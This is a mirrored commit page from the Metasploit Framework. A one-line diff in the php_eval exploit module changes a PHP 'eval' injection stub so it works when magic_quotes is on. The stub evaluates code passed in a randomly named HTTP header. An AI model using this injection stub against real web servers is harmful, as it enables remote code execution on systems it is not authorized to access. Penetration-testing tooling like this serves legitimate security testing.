github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00
Code Releases Activity

make the new random header stuff work with magic_quotes

Browse Source 
git-svn-id: file:///home/svn/framework3/trunk@6559 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2009-05-17 00:35:56 +00:00
parent 685535c61d
commit 6c8a93035f
1 changed files with 1 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
modules/exploits/unix/webapp/php_eval.rb
View File

@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
timeout = 0.01
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
stub = "eval($_SERVER['HTTP_#{headername.gsub("-", "_")}']);"
stub = "eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);"
uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub))
response = send_request_raw({